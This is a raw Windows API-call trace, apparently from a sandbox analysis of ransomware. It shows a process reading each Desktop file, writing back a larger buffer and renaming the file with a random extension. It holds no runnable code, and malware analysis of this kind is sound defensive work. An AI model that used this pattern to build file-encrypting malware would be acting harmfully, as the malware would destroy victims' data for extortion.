[0149.856] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x10dd [0149.856] ReadFile (in: hFile=0x1d0, lpBuffer=0x28eab10, nNumberOfBytesToRead=0x10dd, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28eab10*, lpNumberOfBytesRead=0x21d4d8*=0x10dd, lpOverlapped=0x0) returned 1 [0149.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc", lpFilePart=0x0) returned 0x29 [0149.879] SetErrorMode (uMode=0x1) returned 0x0 [0149.879] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\dkq_7ephig.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.882] GetFileType (hFile=0x1d0) returned 0x1 [0149.882] SetErrorMode (uMode=0x0) returned 0x1 [0149.882] GetFileType (hFile=0x1d0) returned 0x1 [0149.882] WriteFile (in: hFile=0x1d0, lpBuffer=0x29cfd90*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x29cfd90*, lpNumberOfBytesWritten=0x21d558*=0x10e0, lpOverlapped=0x0) returned 1 [0149.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc", lpFilePart=0x0) returned 0x29 [0149.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc.7qpp12", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc.7qpp12", lpFilePart=0x0) returned 0x30 [0149.884] SetErrorMode (uMode=0x1) returned 0x0 [0149.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\dkq_7ephig.doc"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324b10, ftCreationTime.dwHighDateTime=0x1d8bd48, ftLastAccessTime.dwLowDateTime=0x3b071750, ftLastAccessTime.dwHighDateTime=0x1d8beb8, ftLastWriteTime.dwLowDateTime=0x55d2cac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10e0)) returned 1 [0149.884] SetErrorMode (uMode=0x0) returned 0x1 [0149.885] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\dkq_7ephig.doc"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\dkq_7EpHIg.doc.7qpp12" (normalized: "c:\\users\\keecfmwgj\\desktop\\dkq_7ephig.doc.7qpp12")) returned 1 [0149.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif", lpFilePart=0x0) returned 0x23 [0149.887] SetErrorMode (uMode=0x1) returned 0x0 [0149.888] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\hwpm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.888] GetFileType (hFile=0x1d0) returned 0x1 [0149.888] SetErrorMode (uMode=0x0) returned 0x1 [0149.888] GetFileType (hFile=0x1d0) returned 0x1 [0149.888] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x10538 [0149.888] ReadFile (in: hFile=0x1d0, lpBuffer=0x29d1dd0, nNumberOfBytesToRead=0x10538, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29d1dd0*, lpNumberOfBytesRead=0x21d4d8*=0x10538, lpOverlapped=0x0) returned 1 [0149.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif", lpFilePart=0x0) returned 0x23 [0149.963] SetErrorMode (uMode=0x1) returned 0x0 [0149.964] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\hwpm.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.966] GetFileType (hFile=0x1d0) returned 0x1 [0149.966] SetErrorMode (uMode=0x0) returned 0x1 [0149.966] GetFileType (hFile=0x1d0) returned 0x1 [0149.966] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f0e80*, nNumberOfBytesToWrite=0x10540, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28f0e80*, lpNumberOfBytesWritten=0x21d558*=0x10540, lpOverlapped=0x0) returned 1 [0149.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif", lpFilePart=0x0) returned 0x23 [0149.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif.abfsg7", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif.abfsg7", lpFilePart=0x0) returned 0x2a [0149.969] SetErrorMode (uMode=0x1) returned 0x0 [0149.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\hwpm.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a32a50, ftCreationTime.dwHighDateTime=0x1d8bad3, ftLastAccessTime.dwLowDateTime=0x95687e90, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x55e11300, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10540)) returned 1 [0149.970] SetErrorMode (uMode=0x0) returned 0x1 [0149.970] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\hwpm.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\HWPM.gif.abfsg7" (normalized: "c:\\users\\keecfmwgj\\desktop\\hwpm.gif.abfsg7")) returned 1 [0149.971] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a", lpFilePart=0x0) returned 0x25 [0149.971] SetErrorMode (uMode=0x1) returned 0x0 [0149.971] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\kgiq_q.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0149.972] GetFileType (hFile=0x1d0) returned 0x1 [0149.972] SetErrorMode (uMode=0x0) returned 0x1 [0149.972] GetFileType (hFile=0x1d0) returned 0x1 [0149.972] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x160b8 [0149.972] ReadFile (in: hFile=0x1d0, lpBuffer=0x129b7400, nNumberOfBytesToRead=0x160b8, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x129b7400*, lpNumberOfBytesRead=0x21d4d8*=0x160b8, lpOverlapped=0x0) returned 1 [0150.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a", lpFilePart=0x0) returned 0x25 [0150.000] SetErrorMode (uMode=0x1) returned 0x0 [0150.000] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\kgiq_q.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.004] GetFileType (hFile=0x1d0) returned 0x1 [0150.004] SetErrorMode (uMode=0x0) returned 0x1 [0150.004] GetFileType (hFile=0x1d0) returned 0x1 [0150.004] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a25838*, nNumberOfBytesToWrite=0x160c0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x12a25838*, lpNumberOfBytesWritten=0x21d558*=0x160c0, lpOverlapped=0x0) returned 1 [0150.007] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a", lpFilePart=0x0) returned 0x25 [0150.007] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a.he4eg0", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a.he4eg0", lpFilePart=0x0) returned 0x2c [0150.008] SetErrorMode (uMode=0x1) returned 0x0 [0150.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\kgiq_q.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7912ed0, ftCreationTime.dwHighDateTime=0x1d8b894, ftLastAccessTime.dwLowDateTime=0xbebc720, ftLastAccessTime.dwHighDateTime=0x1d8bac3, ftLastWriteTime.dwLowDateTime=0x55e5d5c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x160c0)) returned 1 [0150.008] SetErrorMode (uMode=0x0) returned 0x1 [0150.008] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\kgiq_q.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\KGIQ_q.m4a.he4eg0" (normalized: "c:\\users\\keecfmwgj\\desktop\\kgiq_q.m4a.he4eg0")) returned 1 [0150.009] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi", lpFilePart=0x0) returned 0x23 [0150.010] SetErrorMode (uMode=0x1) returned 0x0 [0150.010] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\llj3.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.010] GetFileType (hFile=0x1d0) returned 0x1 [0150.010] SetErrorMode (uMode=0x0) returned 0x1 [0150.010] GetFileType (hFile=0x1d0) returned 0x1 [0150.010] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x3836 [0150.010] ReadFile (in: hFile=0x1d0, lpBuffer=0x29e2e80, nNumberOfBytesToRead=0x3836, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29e2e80*, lpNumberOfBytesRead=0x21d4d8*=0x3836, lpOverlapped=0x0) returned 1 [0150.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi", lpFilePart=0x0) returned 0x23 [0150.073] SetErrorMode (uMode=0x1) returned 0x0 [0150.073] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\llj3.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.075] GetFileType (hFile=0x1d0) returned 0x1 [0150.075] SetErrorMode (uMode=0x0) returned 0x1 [0150.075] GetFileType (hFile=0x1d0) returned 0x1 [0150.075] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c75b0*, nNumberOfBytesToWrite=0x3840, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28c75b0*, lpNumberOfBytesWritten=0x21d558*=0x3840, lpOverlapped=0x0) returned 1 [0150.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi", lpFilePart=0x0) returned 0x23 [0150.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi.9am2of", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi.9am2of", lpFilePart=0x0) returned 0x2a [0150.089] SetErrorMode (uMode=0x1) returned 0x0 [0150.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\llj3.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57de900, ftCreationTime.dwHighDateTime=0x1d8bfa2, ftLastAccessTime.dwLowDateTime=0x8262fd00, ftLastAccessTime.dwHighDateTime=0x1d8c07d, ftLastWriteTime.dwLowDateTime=0x55ef5b40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x3840)) returned 1 [0150.089] SetErrorMode (uMode=0x0) returned 0x1 [0150.089] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\llj3.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\LlJ3.avi.9am2of" (normalized: "c:\\users\\keecfmwgj\\desktop\\llj3.avi.9am2of")) returned 1 [0150.091] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp", lpFilePart=0x0) returned 0x25 [0150.091] SetErrorMode (uMode=0x1) returned 0x0 [0150.091] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp" (normalized: "c:\\users\\keecfmwgj\\desktop\\orfsao.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.091] GetFileType (hFile=0x1d0) returned 0x1 [0150.091] SetErrorMode (uMode=0x0) returned 0x1 [0150.091] GetFileType (hFile=0x1d0) returned 0x1 [0150.092] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x7844 [0150.092] ReadFile (in: hFile=0x1d0, lpBuffer=0x28cbc10, nNumberOfBytesToRead=0x7844, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28cbc10*, lpNumberOfBytesRead=0x21d4d8*=0x7844, lpOverlapped=0x0) returned 1 [0150.109] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp", lpFilePart=0x0) returned 0x25 [0150.109] SetErrorMode (uMode=0x1) returned 0x0 [0150.109] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp" (normalized: "c:\\users\\keecfmwgj\\desktop\\orfsao.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.112] GetFileType (hFile=0x1d0) returned 0x1 [0150.112] SetErrorMode (uMode=0x0) returned 0x1 [0150.112] GetFileType (hFile=0x1d0) returned 0x1 [0150.112] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d13c0*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x29d13c0*, lpNumberOfBytesWritten=0x21d558*=0x7850, lpOverlapped=0x0) returned 1 [0150.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp", lpFilePart=0x0) returned 0x25 [0150.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp.feaooi", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp.feaooi", lpFilePart=0x0) returned 0x2c [0150.118] SetErrorMode (uMode=0x1) returned 0x0 [0150.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp" (normalized: "c:\\users\\keecfmwgj\\desktop\\orfsao.odp"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3758f20, ftCreationTime.dwHighDateTime=0x1d8b5da, ftLastAccessTime.dwLowDateTime=0xb4a7cf00, ftLastAccessTime.dwHighDateTime=0x1d8bea4, ftLastWriteTime.dwLowDateTime=0x55f67f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7850)) returned 1 [0150.118] SetErrorMode (uMode=0x0) returned 0x1 [0150.118] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp" (normalized: "c:\\users\\keecfmwgj\\desktop\\orfsao.odp"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\orfsAO.odp.feaooi" (normalized: "c:\\users\\keecfmwgj\\desktop\\orfsao.odp.feaooi")) returned 1 [0150.123] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png", lpFilePart=0x0) returned 0x23 [0150.123] SetErrorMode (uMode=0x1) returned 0x0 [0150.123] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\p6u3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.123] GetFileType (hFile=0x1d0) returned 0x1 [0150.123] SetErrorMode (uMode=0x0) returned 0x1 [0150.123] GetFileType (hFile=0x1d0) returned 0x1 [0150.123] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x1031a [0150.123] ReadFile (in: hFile=0x1d0, lpBuffer=0x29d9a48, nNumberOfBytesToRead=0x1031a, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29d9a48*, lpNumberOfBytesRead=0x21d4d8*=0x1031a, lpOverlapped=0x0) returned 1 [0150.200] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png", lpFilePart=0x0) returned 0x23 [0150.201] SetErrorMode (uMode=0x1) returned 0x0 [0150.201] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\p6u3.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.203] GetFileType (hFile=0x1d0) returned 0x1 [0150.203] SetErrorMode (uMode=0x0) returned 0x1 [0150.203] GetFileType (hFile=0x1d0) returned 0x1 [0150.203] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f6988*, nNumberOfBytesToWrite=0x10320, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28f6988*, lpNumberOfBytesWritten=0x21d558*=0x10320, lpOverlapped=0x0) returned 1 [0150.206] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png", lpFilePart=0x0) returned 0x23 [0150.206] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png.jzzq5o", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png.jzzq5o", lpFilePart=0x0) returned 0x2a [0150.207] SetErrorMode (uMode=0x1) returned 0x0 [0150.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\p6u3.png"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0c816e0, ftCreationTime.dwHighDateTime=0x1d8c0b9, ftLastAccessTime.dwLowDateTime=0x73f1530, ftLastAccessTime.dwHighDateTime=0x1d8c0e8, ftLastWriteTime.dwLowDateTime=0x5604c7a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10320)) returned 1 [0150.207] SetErrorMode (uMode=0x0) returned 0x1 [0150.207] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\p6u3.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\p6u3.png.jzzq5o" (normalized: "c:\\users\\keecfmwgj\\desktop\\p6u3.png.jzzq5o")) returned 1 [0150.209] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif", lpFilePart=0x0) returned 0x29 [0150.209] SetErrorMode (uMode=0x1) returned 0x0 [0150.209] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\qpnadjyaua.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.209] GetFileType (hFile=0x1d0) returned 0x1 [0150.209] SetErrorMode (uMode=0x0) returned 0x1 [0150.209] GetFileType (hFile=0x1d0) returned 0x1 [0150.210] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x11b23 [0150.210] ReadFile (in: hFile=0x1d0, lpBuffer=0x2907ad8, nNumberOfBytesToRead=0x11b23, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2907ad8*, lpNumberOfBytesRead=0x21d4d8*=0x11b23, lpOverlapped=0x0) returned 1 [0150.232] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif", lpFilePart=0x0) returned 0x29 [0150.233] SetErrorMode (uMode=0x1) returned 0x0 [0150.233] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\qpnadjyaua.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.235] GetFileType (hFile=0x1d0) returned 0x1 [0150.235] SetErrorMode (uMode=0x0) returned 0x1 [0150.235] GetFileType (hFile=0x1d0) returned 0x1 [0150.235] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1ca90*, nNumberOfBytesToWrite=0x11b30, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2a1ca90*, lpNumberOfBytesWritten=0x21d558*=0x11b30, lpOverlapped=0x0) returned 1 [0150.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif", lpFilePart=0x0) returned 0x29 [0150.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif.4rurbq", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif.4rurbq", lpFilePart=0x0) returned 0x30 [0150.250] SetErrorMode (uMode=0x1) returned 0x0 [0150.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\qpnadjyaua.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac7e00, ftCreationTime.dwHighDateTime=0x1d8b443, ftLastAccessTime.dwLowDateTime=0xbd782a10, ftLastAccessTime.dwHighDateTime=0x1d8bfbe, ftLastWriteTime.dwLowDateTime=0x56098a60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x11b30)) returned 1 [0150.250] SetErrorMode (uMode=0x0) returned 0x1 [0150.250] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\qpnadjyaua.gif"), 